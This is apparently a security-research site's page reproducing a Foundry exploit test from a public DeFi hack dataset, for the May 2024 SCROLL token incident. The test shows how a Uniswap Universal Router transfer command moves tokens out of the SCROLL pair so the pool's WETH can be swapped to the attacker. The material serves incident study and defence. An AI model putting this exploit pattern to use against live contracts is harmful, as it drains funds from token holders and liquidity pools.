Skip to content
THREATWIRE

Public reproduction file

src/test/2024-05/SCROLL_exp.sol

Public reproduction file for dataset entry SCROLL.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2024-05/SCROLL_exp.sol67 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3
4import "forge-std/Test.sol";
5import "../interface.sol";
6
7// @KeyInfo - Total Lost : ~76 ETH
8// Attacker : 0x55Db954F0121E09ec838a20c216eABf35Ca32cDD
9// Attack Contract : 0x55f5aac4466eb9b7bbeee8c05b365e5b18b5afcc
10// Vulnerable Contract : 0xe51D3dE9b81916D383eF97855C271250852eC7B7
11// Attack Tx : https://etherscan.io/tx/0x661505c39efe1174da44e0548158db95e8e71ce867d5b7190b9eabc9f314fe91
12// @Info
13// Vulnerable Contract Code : https://etherscan.io/address/0xe51D3dE9b81916D383eF97855C271250852eC7B7#code
15// @Analysis
18interface IUniversalRouter {
19 function execute(bytes calldata commands, bytes[] calldata input) external payable;
22contract ContractTest is Test {
23 address public attacker = address(this);
24 address public SCROLL_creater = 0x72C509B05A44c4Bb53373Efc2E76fB75FA8108a6;
26 IUniswapV2Router router = IUniswapV2Router(payable(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D));
27 Uni_Pair_V2 SCROLL_WETH_pair = Uni_Pair_V2(0xa718aa1b3f61C2b90A01aB244597816a7eE69fD2);
28 IUniversalRouter universalRouter = IUniversalRouter(payable(0x3fC91A3afd70395Cd496C647d5a6CC9D4B2b7FAD));
30 IERC20 constant SCROLL = IERC20(0xe51D3dE9b81916D383eF97855C271250852eC7B7);
31 WETH9 constant WETH = WETH9(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
33 function setUp() public {
34 vm.createSelectFork("mainnet", 19_971_611 - 1);
35 vm.label(address(SCROLL), "SCROLL");
36 vm.label(address(WETH), "WETH");
37 vm.label(address(universalRouter), "Universal Router");
38 vm.label(address(SCROLL_WETH_pair), "Uniswap V2 pair SCROLL WETH");
39 vm.label(address(router), "Uniswap V2 Router");
40 }
42 function testExploit() public {
43 SCROLL.balanceOf(address(universalRouter));
44 bytes memory commands = hex"05";
45 bytes[] memory inputs = new bytes[](1);
46 inputs[0] = abi.encode(address(SCROLL), address(SCROLL_creater), uint256(1));
47 universalRouter.execute(commands, inputs);
48 SCROLL.balanceOf(address(universalRouter));
50 address[] memory path = new address[](2);
51 path[0] = address(SCROLL);
52 path[1] = address(WETH);
53 uint256[] memory amounts = new uint256[](2);
54 amounts = router.getAmountsOut(SCROLL.balanceOf(address(SCROLL_WETH_pair)) * 1e3, path);
56 inputs[0] = abi.encode(address(SCROLL), address(SCROLL_WETH_pair), uint256(amounts[0]));
57 universalRouter.execute(commands, inputs);
59 SCROLL_WETH_pair.swap(amounts[1], 0, attacker, "");
60 WETH.withdraw(WETH.balanceOf(attacker));
62 inputs[0] = abi.encode(address(SCROLL), address(attacker), SCROLL.balanceOf(address(universalRouter)));
63 universalRouter.execute(commands, inputs);
64 }
66 fallback() external payable {}

Analysis

Dataset entry

Public Foundry test for “SCROLL” (2024-05-29). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

18 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Also imports external libraries: forge-std/Test.sol.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0x55db954f0121e09ec838a20c216eabf35ca32cdd

  • Attack Contract

    0x55f5aac4466eb9b7bbeee8c05b365e5b18b5afcc

  • Vulnerable Contract

    0xe51d3de9b81916d383ef97855c271250852ec7b7

  • Attack Tx

    0x661505c39efe1174da44e0548158db95e8e71ce867d5b7190b9eabc9f314fe91

File record

Name
SCROLL
Path
src/test/2024-05/SCROLL_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
7f8682b9836e25bb1dcc8cef002d1f93517155a6
Language
Solidity
Size
68 lines
Date
2024-05-29
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2024-05/SCROLL_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 7f8682b9836e25bb1dcc8cef002d1f93517155a6, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.